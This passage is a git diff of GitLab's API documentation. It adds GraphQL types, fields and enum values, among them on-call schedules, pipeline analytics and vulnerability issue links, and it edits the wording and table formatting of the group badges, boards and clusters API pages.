Autogenerated return type of NamespaceIncreaseStorageTemporarily. | `repositionNote` | Boolean! | Indicates the user can perform `reposition_note` on this resource | | `resolveNote` | Boolean! | Indicates the user can perform `resolve_note` on this resource | +### OncallScheduleCreatePayload + +Autogenerated return type of OncallScheduleCreate. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `oncallSchedule` | IncidentManagementOncallSchedule | The on-call schedule | + +### OncallScheduleDestroyPayload + +Autogenerated return type of OncallScheduleDestroy. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `oncallSchedule` | IncidentManagementOncallSchedule | The on-call schedule | + +### OncallScheduleUpdatePayload + +Autogenerated return type of OncallScheduleUpdate. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `oncallSchedule` | IncidentManagementOncallSchedule | The on-call schedule | + ### Package Represents a package. @@ -2217,6 +2437,7 @@ Information about pagination in a connection.. | Field | Type | Description | | ----- | ---- | ----------- | +| `active` | Boolean! | Indicates if the pipeline is active | | `beforeSha` | String | Base SHA of the source branch | | `cancelable` | Boolean! | Specifies if a pipeline can be canceled | | `committedAt` | Time | Timestamp of the pipeline's commit | @@ -2244,6 +2465,22 @@ Information about pagination in a connection.. | `user` | User | Pipeline user | | `userPermissions` | PipelinePermissions! | Permissions for the current user on the resource | +### PipelineAnalytics + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `monthPipelinesLabels` | String! => Array | Labels for the monthly pipeline count | +| `monthPipelinesSuccessful` | Int! => Array | Total monthly successful pipeline count | +| `monthPipelinesTotals` | Int! => Array | Total monthly pipeline count | +| `pipelineTimesLabels` | String! => Array | Pipeline times labels | +| `pipelineTimesValues` | Int! => Array | Pipeline times | +| `weekPipelinesLabels` | String! => Array | Labels for the weekly pipeline count | +| `weekPipelinesSuccessful` | Int! => Array | Total weekly successful pipeline count | +| `weekPipelinesTotals` | Int! => Array | Total weekly pipeline count | +| `yearPipelinesLabels` | String! => Array | Labels for the yearly pipeline count | +| `yearPipelinesSuccessful` | Int! => Array | Total yearly successful pipeline count | +| `yearPipelinesTotals` | Int! => Array | Total yearly pipeline count | + ### PipelineCancelPayload Autogenerated return type of PipelineCancel. @@ -2295,6 +2532,7 @@ Autogenerated return type of PipelineRetry. | `avatarUrl` | String | URL to avatar image file of the project | | `board` | Board | A single board of the project | | `boards` | BoardConnection | Boards of the project | +| `ciCdSettings` | ProjectCiCdSetting | CI/CD settings for the project | | `clusterAgent` | ClusterAgent | Find a single cluster agent by name | | `clusterAgents` | ClusterAgentConnection | Cluster agents associated with the project | | `codeCoverageSummary` | CodeCoverageSummary | Code coverage summary associated with the project | @@ -2302,11 +2540,13 @@ Autogenerated return type of PipelineRetry. | `containerExpirationPolicy` | ContainerExpirationPolicy | The container expiration policy of the project | | `containerRegistryEnabled` | Boolean | Indicates if the project stores Docker container images in a container registry | | `containerRepositories` | ContainerRepositoryConnection | Container repositories of the project | +| `containerRepositoriesCount` | Int! | Number of container repositories in the project | | `createdAt` | Time | Timestamp of the project creation | | `dastScannerProfiles` | DastScannerProfileConnection | The DAST scanner profiles associated with the project | | `dastSiteProfile` | DastSiteProfile | DAST Site Profile associated with the project | | `dastSiteProfiles` | DastSiteProfileConnection | DAST Site Profiles associated with the project | -| `dastSiteValidation` | DastSiteValidation | DAST Site Validation associated with the project | +| `dastSiteValidation` | DastSiteValidation | DAST Site Validation associated with the project. Will always return `null` if `security_on_demand_scans_site_validation` is disabled | +| `dastSiteValidations` | DastSiteValidationConnection | DAST Site Validations associated with the project. Will always return no nodes if `security_on_demand_scans_site_validation` is disabled | | `description` | String | Short description of the project | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | | `environment` | Environment | A single environment of the project | @@ -2318,6 +2558,7 @@ Autogenerated return type of PipelineRetry. | `httpUrlToRepo` | String | URL to connect to the project via HTTPS | | `id` | ID! | ID of the project | | `importStatus` | String | Status of import background job of the project | +| `incidentManagementOncallSchedules` | IncidentManagementOncallScheduleConnection | Incident Management On-call schedules of the project | | `issue` | Issue | A single issue of the project | | `issueStatusCounts` | IssueStatusCountsType | Counts of issues by status for the project | | `issues` | IssueConnection | Issues of the project | @@ -2344,6 +2585,7 @@ Autogenerated return type of PipelineRetry. | `packages` | PackageConnection | Packages of the project | | `path` | String! | Path of the project | | `pipeline` | Pipeline | Build pipeline of the project | +| `pipelineAnalytics` | PipelineAnalytics | Pipeline analytics | | `pipelines` | PipelineConnection | Build pipelines of the project | | `printingMergeRequestLinkEnabled` | Boolean | Indicates if a link to create or view a merge request should display after a push to Git repositories of the project from the command line | | `projectMembers` | MemberInterfaceConnection | Members of the project | @@ -2368,12 +2610,14 @@ Autogenerated return type of PipelineRetry. | `sharedRunnersEnabled` | Boolean | Indicates if shared runners are enabled for the project | | `snippets` | SnippetConnection | Snippets of the project | | `snippetsEnabled` | Boolean | Indicates if Snippets are enabled for the current user | +| `squashReadOnly` | Boolean! | Indicates if squash readonly is enabled | | `sshUrlToRepo` | String | URL to connect to the project via SSH | | `starCount` | Int! | Number of times the project has been starred | | `statistics` | ProjectStatistics | Statistics of the project | | `suggestionCommitMessage` | String | The commit message used to apply merge request suggestions | | `tagList` | String | List of project topics (not Git tags) | | `terraformStates` | TerraformStateConnection | Terraform states associated with the project | +| `totalPipelineDuration` | Int | Total pipeline duration for all of the pipelines in a project | | `userPermissions` | ProjectPermissions! | Permissions for the current user on the resource | | `visibility` | String | Visibility of the project | | `vulnerabilities` | VulnerabilityConnection | Vulnerabilities reported on the project | @@ -2383,6 +2627,14 @@ Autogenerated return type of PipelineRetry. | `webUrl` | String | Web URL of the project | | `wikiEnabled` | Boolean | Indicates if Wikis are enabled for the current user | +### ProjectCiCdSetting + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `mergePipelinesEnabled` | Boolean | Whether merge pipelines are enabled. | +| `mergeTrainsEnabled` | Boolean | Whether merge trains are enabled. | +| `project` | Project | Project the CI/CD settings belong to. | + ### ProjectMember Represents a Project Membership. @@ -2564,6 +2816,16 @@ Autogenerated return type of ReleaseCreate. | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `release` | Release | The release after mutation | +### ReleaseDeletePayload + +Autogenerated return type of ReleaseDelete. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `release` | Release | The deleted release. | + ### ReleaseEvidence Evidence for a release. @@ -2596,6 +2858,16 @@ Represents the source code attached to a release in a particular format. | `format` | String | Format of the source | | `url` | String | Download URL of the source | +### ReleaseUpdatePayload + +Autogenerated return type of ReleaseUpdate. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `release` | Release | The release after mutation. | + ### RemoveAwardEmojiPayload Autogenerated return type of RemoveAwardEmoji. @@ -2947,7 +3219,7 @@ Represents a snippet entry. | Field | Type | Description | | ----- | ---- | ----------- | | `author` | User | The owner of the snippet | -| `blob` **{warning-solid}** | SnippetBlob! | **Deprecated:** Use `blobs`. Deprecated in 13.3 | +| `blob` **{warning-solid}** | SnippetBlob! | **Deprecated:** Use `blobs`. Deprecated in 13.3. | | `blobs` | SnippetBlobConnection | Snippet blobs | | `createdAt` | Time! | Timestamp this snippet was created | | `description` | String | Description of the snippet | @@ -3102,8 +3374,10 @@ Autogenerated return type of TerraformStateUnlock. | ----- | ---- | ----------- | | `createdAt` | Time! | Timestamp the version was created | | `createdByUser` | User | The user that created this version | +| `downloadPath` | String | URL for downloading the version's JSON file | | `id` | ID! | ID of the Terraform state version | | `job` | CiJob | The job that created this version | +| `serial` | Int | Serial number of the version | | `updatedAt` | Time! | Timestamp the version was updated | ### TerraformStateVersionRegistry @@ -3215,7 +3489,7 @@ Autogenerated return type of TodoRestoreMany. | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `todos` | Todo! => Array | Updated todos | -| `updatedIds` **{warning-solid}** | TodoID! => Array | **Deprecated:** Use todos. Deprecated in 13.2 | +| `updatedIds` **{warning-solid}** | TodoID! => Array | **Deprecated:** Use todos. Deprecated in 13.2. | ### TodoRestorePayload @@ -3236,7 +3510,7 @@ Autogenerated return type of TodosMarkAllDone. | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `todos` | Todo! => Array | Updated todos | -| `updatedIds` **{warning-solid}** | TodoID! => Array | **Deprecated:** Use todos. Deprecated in 13.2 | +| `updatedIds` **{warning-solid}** | TodoID! => Array | **Deprecated:** Use todos. Deprecated in 13.2. | ### ToggleAwardEmojiPayload @@ -3315,6 +3589,16 @@ Autogenerated return type of UpdateBoard. | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | +### UpdateComplianceFrameworkPayload + +Autogenerated return type of UpdateComplianceFramework. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `complianceFramework` | ComplianceFramework | The compliance framework after mutation | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | + ### UpdateContainerExpirationPolicyPayload Autogenerated return type of UpdateContainerExpirationPolicy. @@ -3325,6 +3609,16 @@ Autogenerated return type of UpdateContainerExpirationPolicy. | `containerExpirationPolicy` | ContainerExpirationPolicy | The container expiration policy after mutation | | `errors` | String! => Array | Errors encountered during execution of the mutation. | +### UpdateDevopsAdoptionSegmentPayload + +Autogenerated return type of UpdateDevopsAdoptionSegment. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `segment` | DevopsAdoptionSegment | The segment after mutation | + ### UpdateEpicPayload Autogenerated return type of UpdateEpic. @@ -3363,7 +3657,7 @@ Autogenerated return type of UpdateIteration. | ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -| `iteration` | Iteration | The updated iteration | +| `iteration` | Iteration | Updated iteration. | ### UpdateNotePayload @@ -3403,12 +3697,15 @@ Autogenerated return type of UpdateSnippet. | `assignedMergeRequests` | MergeRequestConnection | Merge Requests assigned to the user | | `authoredMergeRequests` | MergeRequestConnection | Merge Requests authored by the user | | `avatarUrl` | String | URL of the user's avatar | -| `email` | String | User email | -| `groupCount` | Int | Group count for the user. Available only when feature flag `user_group_counts` is enabled | +| `email` **{warning-solid}** | String | **Deprecated:** Use public_email. Deprecated in 13.7. | +| `groupCount` | Int | Group count for the user Available only when feature flag `user_group_counts` is enabled. | | `groupMemberships` | GroupMemberConnection | Group memberships of the user | | `id` | ID! | ID of the user | +| `location` | String | The location of the user. | | `name` | String! | Human-readable name of the user | | `projectMemberships` | ProjectMemberConnection | Project memberships of the user | +| `publicEmail` | String | User's public email | +| `reviewRequestedMergeRequests` | MergeRequestConnection | Merge Requests assigned to the user for review | | `snippets` | SnippetConnection | Snippets authored by the user | | `starredProjects` | ProjectConnection | Projects starred by the user | | `state` | UserState! | State of the user | @@ -3465,17 +3762,23 @@ Represents a vulnerability. | Field | Type | Description | | ----- | ---- | ----------- | +| `confirmedAt` | Time | Timestamp of when the vulnerability state was changed to confirmed | | `description` | String | Description of the vulnerability | | `detectedAt` | Time! | Timestamp of when the vulnerability was first detected | | `discussions` | DiscussionConnection! | All discussions on this noteable | +| `dismissedAt` | Time | Timestamp of when the vulnerability state was changed to dismissed | +| `externalIssueLinks` | VulnerabilityExternalIssueLinkConnection! | List of external issue links related to the vulnerability | +| `hasSolutions` | Boolean | Indicates whether there is a solution available for this vulnerability. | | `id` | ID! | GraphQL ID of the vulnerability | | `identifiers` | VulnerabilityIdentifier! => Array | Identifiers of the vulnerability. | | `issueLinks` | VulnerabilityIssueLinkConnection! | List of issue links related to the vulnerability | | `location` | VulnerabilityLocation | Location metadata for the vulnerability. Its fields depend on the type of security scan that found the vulnerability | +| `mergeRequest` | MergeRequest | Merge request that fixes the vulnerability. | | `notes` | NoteConnection! | All notes on this noteable | | `primaryIdentifier` | VulnerabilityIdentifier | Primary identifier of the vulnerability. | | `project` | Project | The project on which the vulnerability was found | | `reportType` | VulnerabilityReportType | Type of the security report that found the vulnerability (SAST, DEPENDENCY_SCANNING, CONTAINER_SCANNING, DAST, SECRET_DETECTION, COVERAGE_FUZZING, API_FUZZING) | +| `resolvedAt` | Time | Timestamp of when the vulnerability state was changed to resolved | | `resolvedOnDefaultBranch` | Boolean! | Indicates whether the vulnerability is fixed on the default branch or not | | `scanner` | VulnerabilityScanner | Scanner metadata for the vulnerability. | | `severity` | VulnerabilitySeverity | Severity of the vulnerability (INFO, UNKNOWN, LOW, MEDIUM, HIGH, CRITICAL) | @@ -3505,6 +3808,35 @@ Autogenerated return type of VulnerabilityDismiss. | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `vulnerability` | Vulnerability | The vulnerability after dismissal | +### VulnerabilityExternalIssueLink + +Represents an external issue link of a vulnerability. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `externalIssue` | ExternalIssue | The external issue attached to the issue link | +| `id` | VulnerabilitiesExternalIssueLinkID! | GraphQL ID of the external issue link | +| `linkType` | VulnerabilityExternalIssueLinkType! | Type of the external issue link | + +### VulnerabilityExternalIssueLinkCreatePayload + +Autogenerated return type of VulnerabilityExternalIssueLinkCreate. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `externalIssueLink` | VulnerabilityExternalIssueLink | The created external issue link. | + +### VulnerabilityExternalIssueLinkDestroyPayload + +Autogenerated return type of VulnerabilityExternalIssueLinkDestroy. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | + ### VulnerabilityIdentifier Represents a vulnerability identifier. @@ -3599,6 +3931,7 @@ Check permissions for the current user on a vulnerability. | Field | Type | Description | | ----- | ---- | ----------- | | `adminVulnerability` | Boolean! | Indicates the user can perform `admin_vulnerability` on this resource | +| `adminVulnerabilityExternalIssueLink` | Boolean! | Indicates the user can perform `admin_vulnerability_external_issue_link` on this resource | | `adminVulnerabilityIssueLink` | Boolean! | Indicates the user can perform `admin_vulnerability_issue_link` on this resource | | `createVulnerability` | Boolean! | Indicates the user can perform `create_vulnerability` on this resource | | `createVulnerabilityExport` | Boolean! | Indicates the user can perform `create_vulnerability_export` on this resource | @@ -3724,10 +4057,19 @@ Values for sorting alerts. | `UPDATED_DESC` | Updated at descending order | | `UPDATED_TIME_ASC` | Created time by ascending order | | `UPDATED_TIME_DESC` | Created time by descending order | -| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5 | -| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5 | -| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5 | -| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5 | +| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. | +| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. | +| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. | +| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. | + +### AlertManagementDomainFilter + +Filters the alerts based on given domain. + +| Value | Description | +| ----- | ----------- | +| `operations` | Alerts for operations domain | +| `threat_monitoring` | Alerts for threat monitoring domain | ### AlertManagementIntegrationType @@ -3781,6 +4123,15 @@ Types of blob viewers. | `rich` | | | `simple` | | +### CiConfigStatus + +Values for YAML processor result. + +| Value | Description | +| ----- | ----------- | +| `INVALID` | The configuration file is not valid | +| `VALID` | The configuration file is valid | + ### CommitActionMode Mode of a commit action. @@ -3863,6 +4214,7 @@ Status of a container repository. | ----- | ----------- | | `FAILED_VALIDATION` | Site validation process finished but failed | | `INPROGRESS_VALIDATION` | Site validation process is in progress | +| `NONE` | No site validation exists | | `PASSED_VALIDATION` | Site validation process finished successfully | | `PENDING_VALIDATION` | Site validation process has not started | @@ -3952,6 +4304,16 @@ Epic ID wildcard values. | `ANY` | Any epic is assigned | | `NONE` | No epic is assigned | +### GroupMemberRelation + +Group member relation. + +| Value | Description | +| ----- | ----------- | +| `DESCENDANTS` | Descendants members | +| `DIRECT` | Direct members | +| `INHERITED` | Inherited members | + ### HealthStatus Health status of an issue or epic. @@ -4012,10 +4374,10 @@ Values for sorting issues. | `UPDATED_DESC` | Updated at descending order | | `WEIGHT_ASC` | Weight by ascending order | | `WEIGHT_DESC` | Weight by descending order | -| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5 | -| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5 | -| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5 | -| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5 | +| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. | +| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. | +| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. | +| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. | ### IssueState @@ -4066,8 +4428,41 @@ Iteration ID wildcard values. | Value | Description | | ----- | ----------- | | `ANY` | An iteration is assigned | +| `CURRENT` | Current iteration | | `NONE` | No iteration is assigned | +### JobArtifactFileType + +| Value | Description | +| ----- | ----------- | +| `ACCESSIBILITY` | | +| `API_FUZZING` | | +| `ARCHIVE` | | +| `BROWSER_PERFORMANCE` | | +| `CLUSTER_APPLICATIONS` | | +| `COBERTURA` | | +| `CODEQUALITY` | | +| `CONTAINER_SCANNING` | | +| `COVERAGE_FUZZING` | | +| `DAST` | | +| `DEPENDENCY_SCANNING` | | +| `DOTENV` | | +| `JUNIT` | | +| `LICENSE_MANAGEMENT` | | +| `LICENSE_SCANNING` | | +| `LOAD_PERFORMANCE` | | +| `LSIF` | | +| `METADATA` | | +| `METRICS` | | +| `METRICS_REFEREE` | | +| `NETWORK_REFEREE` | | +| `PERFORMANCE` | | +| `REQUIREMENTS` | | +| `SAST` | | +| `SECRET_DETECTION` | | +| `TERRAFORM` | | +| `TRACE` | | + ### ListLimitMetric List limit metric setting. @@ -4113,10 +4508,10 @@ Values for sorting merge requests. | `PRIORITY_DESC` | Priority by descending order | | `UPDATED_ASC` | Updated at ascending order | | `UPDATED_DESC` | Updated at descending order | -| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5 | -| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5 | -| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5 | -| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5 | +| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. | +| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. | +| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. | +| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. | ### MergeRequestState @@ -4208,6 +4603,17 @@ Values for sorting projects. | `SUCCESS` | | | `WAITING_FOR_RESOURCE` | | +### ProjectMemberRelation + +Project member relation. + +| Value | Description | +| ----- | ----------- | +| `DESCENDANTS` | Descendants members | +| `DIRECT` | Direct members | +| `INHERITED` | Inherited members | +| `INVITED_GROUPS` | Invited Groups members | + ### RegistryState State of a Geo registry. @@ -4310,6 +4716,7 @@ State of a Sentry error. | `CAMPFIRE_SERVICE` | | | `CONFLUENCE_SERVICE` | | | `CUSTOM_ISSUE_TRACKER_SERVICE` | | +| `DATADOG_SERVICE` | | | `DISCORD_SERVICE` | | | `DRONE_CI_SERVICE` | | | `EMAILS_ON_PUSH_SERVICE` | | @@ -4359,10 +4766,10 @@ Common sort values. | `CREATED_DESC` | Created at descending order | | `UPDATED_ASC` | Updated at ascending order | | `UPDATED_DESC` | Updated at descending order | -| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5 | -| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5 | -| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5 | -| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5 | +| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. | +| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. | +| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. | +| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. | ### TestReportState @@ -4436,6 +4843,22 @@ Possible states of a user. | `private` | | | `public` | | +### VulnerabilityExternalIssueLinkExternalTracker + +The external tracker of the external issue link related to a vulnerability. + +| Value | Description | +| ----- | ----------- | +| `JIRA` | Jira external tracker | + +### VulnerabilityExternalIssueLinkType + +The type of the external issue link related to a vulnerability. + +| Value | Description | +| ----- | ----------- | +| `CREATED` | Created link type | + ### VulnerabilityGrade The grade of the vulnerable project. diff --git a/doc/api/graphql/sample_issue_boards.md b/doc/api/graphql/sample_issue_boards.md index 27fd1f48aec..bddf1ea9a7e 100644 --- a/doc/api/graphql/sample_issue_boards.md +++ b/doc/api/graphql/sample_issue_boards.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Identify issue boards with GraphQL diff --git a/doc/api/group_activity_analytics.md b/doc/api/group_activity_analytics.md index ea2527e6c4a..003c96b65fa 100644 --- a/doc/api/group_activity_analytics.md +++ b/doc/api/group_activity_analytics.md @@ -1,7 +1,7 @@ --- stage: Manage group: Optimize -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Group Activity Analytics API diff --git a/doc/api/group_badges.md b/doc/api/group_badges.md index e13b9633da9..7698fa9ba5f 100644 --- a/doc/api/group_badges.md +++ b/doc/api/group_badges.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Group badges API @@ -10,15 +10,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Placeholder tokens -Badges support placeholders that will be replaced in real time in both the link and image URL. The allowed placeholders are: +Badges support placeholders that are replaced in real time in both the link and image URL. The allowed placeholders are: -- **%{project_path}**: will be replaced by the project path. -- **%{project_id}**: will be replaced by the project ID. -- **%{default_branch}**: will be replaced by the project default branch. -- **%{commit_sha}**: will be replaced by the last project's commit SHA. +- **%{project_path}**: replaced by the project path. +- **%{project_id}**: replaced by the project ID. +- **%{default_branch}**: replaced by the project default branch. +- **%{commit_sha}**: replaced by the last project's commit SHA. -Because these endpoints aren't inside a project's context, the information used to replace the placeholders will be -from the first group's project by creation date. If the group hasn't got any project the original URL with the placeholders will be returned. +Because these endpoints aren't inside a project's context, the information used to replace the placeholders comes +from the first group's project by creation date. If the group hasn't got any project the original URL with the placeholders is returned. ## List all badges of a group diff --git a/doc/api/group_boards.md b/doc/api/group_boards.md index 6158400f882..f982dad7962 100644 --- a/doc/api/group_boards.md +++ b/doc/api/group_boards.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Group Issue Boards API @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Every API call to group boards must be authenticated. If a user is not a member of a group and the group is private, a `GET` -request will result in `404` status code. +request results in `404` status code. ## List all group issue boards in a group @@ -76,7 +76,7 @@ Example response: ] ``` -Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) will see +Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) see different parameters, due to the ability to have multiple group boards. Example response: @@ -192,8 +192,8 @@ Example response: } ``` -Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) will see -different parameters, due to the ability to have multiple group issue boards.s +Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) see +different parameters, due to the ability to have multiple group issue boards. Example response: diff --git a/doc/api/group_clusters.md b/doc/api/group_clusters.md index 27b76d1f0c0..f169c1829be 100644 --- a/doc/api/group_clusters.md +++ b/doc/api/group_clusters.md @@ -1,13 +1,18 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Group clusters API > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30213) in GitLab 12.1. +Similar to [project-level](../user/project/clusters/index.md) and +[instance-level](../user/instance/clusters/index.md) Kubernetes clusters, +group-level Kubernetes clusters allow you to connect a Kubernetes cluster to +your group, enabling you to use the same cluster across multiple projects. + Users need at least [Maintainer](../user/permissions.md) access for the group to use these endpoints. ## List group clusters @@ -20,9 +25,9 @@ GET /groups/:id/clusters Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | +| Attribute | Type | Required | Description | +| --------- | -------------- | -------- | ----------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | Example request: @@ -39,6 +44,8 @@ Example response: "name":"cluster-1", "domain":"example.com", "created_at":"2019-01-02T20:18:12.563Z", + "managed": true, + "enabled": true, "provider_type":"user", "platform_type":"kubernetes", "environment_scope":"*", @@ -87,10 +94,10 @@ GET /groups/:id/clusters/:cluster_id Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | -| `cluster_id` | integer | yes | The ID of the cluster | +| Attribute | Type | Required | Description | +| ------------ | -------------- | -------- | ----------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | +| `cluster_id` | integer | yes | The ID of the cluster | Example request: @@ -106,6 +113,8 @@ Example response: "name":"cluster-1", "domain":"example.com", "created_at":"2019-01-02T20:18:12.563Z", + "managed": true, + "enabled": true, "provider_type":"user", "platform_type":"kubernetes", "environment_scope":"*", @@ -154,19 +163,19 @@ POST /groups/:id/clusters/user Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | -| `name` | string | yes | The name of the cluster | -| `domain` | string | no | The [base domain](../user/group/clusters/index.md#base-domain) of the cluster | -| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | -| `enabled` | boolean | no | Determines if cluster is active or not, defaults to true | -| `managed` | boolean | no | Determines if GitLab will manage namespaces and service accounts for this cluster, defaults to true | -| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API | -| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes | -| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | -| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. | -| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` **(PREMIUM)** | +| Attribute | Type | Required | Description | +| ---------------------------------------------------- | -------------- | -------- | --------------------------------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | +| `name` | string | yes | The name of the cluster | +| `domain` | string | no | The [base 